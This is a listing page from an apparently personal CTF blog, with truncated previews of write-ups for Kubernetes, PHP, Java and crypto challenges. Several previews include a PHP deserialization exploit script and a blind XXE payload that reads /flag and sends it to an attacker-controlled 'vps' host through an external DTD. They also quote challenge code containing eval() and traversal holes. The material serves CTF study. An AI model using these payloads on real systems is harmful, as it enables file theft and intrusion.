k8s lan party

Long time no CTF~~ RECON Just check the environment related to K8s using env and reconnoiter internal service using dnscan This blog is good written link Finding Neighbours According to the description, the sidecar container of current pod is sending some information (possibly flag) to remote server. So, the first step is digging the remote server like what we do in the first challenge, which leads me to reporting-service.k8s-lan-party.svc.cluster.local. As we all know, all containers within same pod share one network namespace, which means we can sniff the traffic from our current container....

March 15, 2024 · 4 min · 674 words · ch3n9w

pwnable尝试

尝试学pwn,放弃学pwn ...

January 27, 2022 · 2 min · 334 words · ch3n9w

GACTF2020

simpleflask 和以往的flask不一样的地方在于, 这里是经过更新后的flask, 计算pin码的方式已经和以前不一样了, 参考 https://www.chainnews.com/articles/898433701852.htm, 不过问题不大,就把machine-id拼接在docker那一串东西的前面就可以了, 需要注意的是每十分钟重启时候的机器mac地址是会变化的. ...

August 29, 2020 · 2 min · 248 words · ch3n9w

qwb2020web复现

half_infiltration 开局的页面如下 <?php highlight_file(__FILE__); $flag=file_get_contents('ssrf.php'); class Pass { function read() { ob_start(); global $result; print $result; } } class User { public $age,$sex,$num; function __destruct() { $student = $this->age; $boy = $this->sex; $a = $this->num; $student->$boy(); if(!(is_string($a)) ||!(is_string($boy)) || !(is_object($student))) { ob_end_clean(); exit(); } global $$a; $result=$GLOBALS['flag']; ob_end_clean(); } } if (isset($_GET['x'])) { unserialize($_GET['x'])->get_it(); } 思路是进行两次反序列化, 第一次将$_GLOBALS[‘flag’]赋值给全局变量$result, 第二次反序列化是让程序在ob_end_clean()执行之前报错退出. ob_start会打开输出缓冲 启用输出缓冲会导致PHP开始存储你输出的脚本而不是立即将它们发送到客户端。当脚本结束或者你调用了ob_flush()函数,PHP才会将内容发送到客户端。 ob_end_clean会将输出缓冲的内容进行一个清空, 那么如果要看到$result的内容的话, 我们就需要在ob_end_clean之前退出程序. 通过将$a赋值为this可以做到让程序报错退出. <?php class Pass{ function read(){ // ob_start(); global $result; print $result; } } class User{ public $age, $sex, $num; function __construct($a, $b, $c) { $this->age = $a; $this->sex = $b; $this->num = $c; } } echo urlencode(serialize([ new User(new Pass(), "read", "result"), new User(new Pass(), "read", "this") ])); ?...

August 27, 2020 · 2 min · 370 words · ch3n9w

ciscn2020_online

web越來越没有牌面了…国赛果然是pwn和misc的天下 ...

August 20, 2020 · 2 min · 306 words · ch3n9w

网鼎杯2020 web

filejava 提供了文件上传和下载的功能, 在下载功能那里我们可以任意文件读取, 通过把文件名换成文件夹名字可以在报错中爆出绝对路径, 如图: 绝对路径 /usr/local/tomcat/webapps/ROOT/WEB-INF/upload/0/10/ 读文件/etc/passwd 读日志文件 logs/catalina.out ​ 发现有一个war包,下载下来进行源码审计, 发现一处突兀的地方 if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) try { Workbook wb1 = WorkbookFactory.create(in); Sheet sheet = wb1.getSheetAt(0); System.out.println(sheet.getFirstRowNum()); } catch (InvalidFormatException e) { System.err.println("poi-ooxml-3.10 has something wrong"); e.printStackTrace(); } 这里会对exce开头而且后缀名为xlsx的文件进行一个解析, 考虑一下使用xlsx来进行blind xxe, 具体可以参考 https://www.jishuwen.com/d/2inW/zh-hk 新建一个xlsx文档, 解压, 修改Content_Types.xml的内容为 <?xml version="1.0"?> <!DOCTYPE r [ <!ENTITY % data3 SYSTEM "file:///flag"> <!ENTITY % sp SYSTEM "http://vps/ext.dtd"> %sp; %param3; %exfil; ]> 在vps上的web目录下面放置一个ext.dtd, 内容如下: <!ENTITY % param3 "<!...

May 11, 2020 · 4 min · 796 words · ch3n9w

padding_oracle 和 cbc字节反转

padding oracle 原理: https://www.freebuf.com/articles/database/150606.html ...

February 3, 2020 · 5 min · 1041 words · ch3n9w

java_web题目复现记录

开一个新坑~~ ...

January 3, 2020 · 5 min · 950 words · ch3n9w

LD_PRELOAD劫持类型题目

贴几个参考链接 https://www.cnblogs.com/wfzWebSecuity/p/11213732.html https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD ...

December 26, 2019 · 3 min · 435 words · ch3n9w

copperstudy-record

强网杯 2019 copperstudy 拖拖拉拉终于把这题复现了… 开局计算哈希, 爆破爆破 ...

December 19, 2019 · 3 min · 598 words · ch3n9w

RoarCTF 2019复现

web online_proxy 特征: 第一次登录后源代码内容有如下: 换一个X-Forwarded-For 后会发现currentip是根据xff判别的 那么有理由认为上一个ip被存储进了数据库中,并在每次检测到访问ip和上一个ip不同的时候就会改变数据库. 源码这里也写到了 $result = query("select current_ip, last_ip from ip_log where uuid = '".addslashes($uuid)."'"); if(count($result) > 0) { if($ip !== $result[0]['current_ip']) { $last_ip = $result[0]['current_ip']; query("delete from ip_log where uuid='".addslashes($uuid)."'"); } else { $last_ip = $result[0]['last_ip']; } } query("insert into ip_log values ('".addslashes($uuid)."', '".addslashes($ip)."', '$last_ip');"); die("\n<!-- Debug Info: \n Duration: $time s \n Current Ip: $ip ".($last_ip !== "" ? "\nLast Ip: ".$last_ip : "")." -->"); 解法:...

October 22, 2019 · 3 min · 611 words · ch3n9w

bytectf2019

boring code source code <?php function is_valid_url($url) { if (filter_var($url, FILTER_VALIDATE_URL)) { if (preg_match('/data:\/\//i', $url)) { return false; } return true; } return false; } if (isset($_POST['url'])){ $url = $_POST['url']; if (is_valid_url($url)) { $r = parse_url($url); if (preg_match('/baidu\.com$/', $r['host'])) { $code = file_get_contents($url); if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) { if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) { echo 'bye~'; } else { eval($code); } } } else { echo "error: host not allowed"; } } else { echo "error: invalid url"; } }else{ highlight_file(__FILE__); } 思路: 注册一个xxxxbaidu....

September 9, 2019 · 4 min · 787 words · ch3n9w

Google_Game

Google Xss game...

June 12, 2019 · 1 min · 161 words · ch3n9w

2019 DDCTF web

考试周结束,有时间来复现了。。。然鹅好像有题目崩了,java又没学过。。。只能复现一部分了。 web 签到题 点击,扫描,发现除了index.php 之外其他都需要登陆,抓包发现有发送Auth.php请求,其中有didictf_username字段,尝试添加成为didictf_username: admin。成功登陆。 然后在返回包中显示出了一个php文件,尝试访问看到了Session.php的源代码如下: <?php Class Application { var $path = ''; public function response($data, $errMsg = 'success') { $ret = ['errMsg' => $errMsg, 'data' => $data]; $ret = json_encode($ret); header('Content-type: application/json'); echo $ret; } public function auth() { $DIDICTF_ADMIN = 'admin'; if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) { $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php'); return TRUE; }else{ $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error'); exit(); } } private function sanitizepath($path) { $path = trim($path);//去掉空格 $path=str_replace('../','',$path);//过滤第一 $path=str_replace('..\\','',$path);//过滤第二 return $path; }// public function __destruct() { if(empty($this->path)) { exit(); }else{ $path = $this->sanitizepath($this->path);// ....

May 11, 2019 · 7 min · 1385 words · ch3n9w

流量分析

bugku 中的部分misc题目 ...

April 22, 2019 · 2 min · 278 words · ch3n9w

密码学题目

记录密码学刷过的题目 ...

April 22, 2019 · 5 min · 1043 words · ch3n9w

bugku writeup

纪念那段岁月 web3 网站里面循环弹出提示框,用chrome的开发者工具打开一片空白, 用ctrl+u查看源代码,发现一串 <!--&#75;&#69;&#89;&#123;&#74;&#50;&#115; &#97;&#52;&#50;&#97;&#104;&#74;&#75;&#45; &#72;&#83;&#49;&#49;&#73;&#73;&#73;&#125;--> 这是unicode,转码即可 你必须让他停下来! 查看源代码竟然直接有flag了,网上的解法是抓包 本地包含 解法:利用hellow构造payload $_REQUEST:默认情况下包含了 $_GET,$_POST 和 $_COOKIE 的数组。 var_dump():此函数显示有关包含其类型和值的一个或多个表达式的结构化信息。 递归地探索数组和对象,其中值缩进以显示结构。在这题里面只是显示变量的类型,对 eval并无影响,对于eval来说,和eval($a)是一样的。 payload:/index.php?hello = show_source(‘flag.php’) 网上的payload:/index.php?hello=1);show_source(‘flag.php’);var_dump( 域名解析 编辑etc/hosts添加一条123.206.87.240 flag.bugku.com, 在浏览器中打开flag.bugku.com即可得到flag。 反思:host请求头是http1.1添加的东西, 添加域名解析之后直接访问123.206.87.240却显示403,也就是说在https下主机名必不可少。 添加host之前访问ip地址结果显示错误400(缺少host) 添加host之后访问ip地址结果显示错误403(读取访问被禁) 你必须让他停下 使用burpsuite的repeater功能进行抓包操作, 通过多次点击go,最终发现在原先是“flag is here”的位置出现了flag 变量1 函数知识: isset()判断是否有输入 pre_match是正则表达式,引号中的内容都以/^开头,以$/结尾,\w+的意思是0~9 a~z A~Z, 输入的内容被限定了,所以不能输入代码 输入arg=GLOBALS,从代码中可知会给GLOBALS再套上一个$,就输出了flag Web5 查看源代码,发现jother编码,打开控制台输入就行了 头等舱 打开网页显示什么都没有,查看源代码也什么都没有,打开控制台重新加载看头文件,什么也没有, 点击显示头文件源代码,显示flag(注释形式) 网站被黑 扫描端口 发现登陆界面 然后用burpsuite的intruder功能破解 管理员系统 实在没有头绪,上网查说这是X-Forwarded-For:简称XFF头,它代表客户端, 也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项。 也就是第一次发送的时候会记录本主机的ip,之后每次经过一个代理, 都会在尾部添加一个代理的ip, X-Forwarded-For可以显示完整的传输路径和恶意攻击来源但是X-Forward-For可以被伪造。题目中说联系本地管理员,那就设置X-Forwarded-For为代表本地访问的127.0.0.1。 同时查看网页源代码发现,有一串注释,查到说是base64编码, 特征是结尾以一个或者两个=结束,解码后得到密码,输入后使用burpsuite进行拦截, 添加X-Forwarded-For:127。0.0.1后发送,得到了flag 参考资料:ctf中常见的编码格式: https://www.cnblogs.com/gwind/p/7997922.html web4 查看源代码,发现一串url编码的东西, Eval函数会将里面的内容作为代码执行,unescape将其解码。要解码:...

April 22, 2019 · 5 min · 1011 words · ch3n9w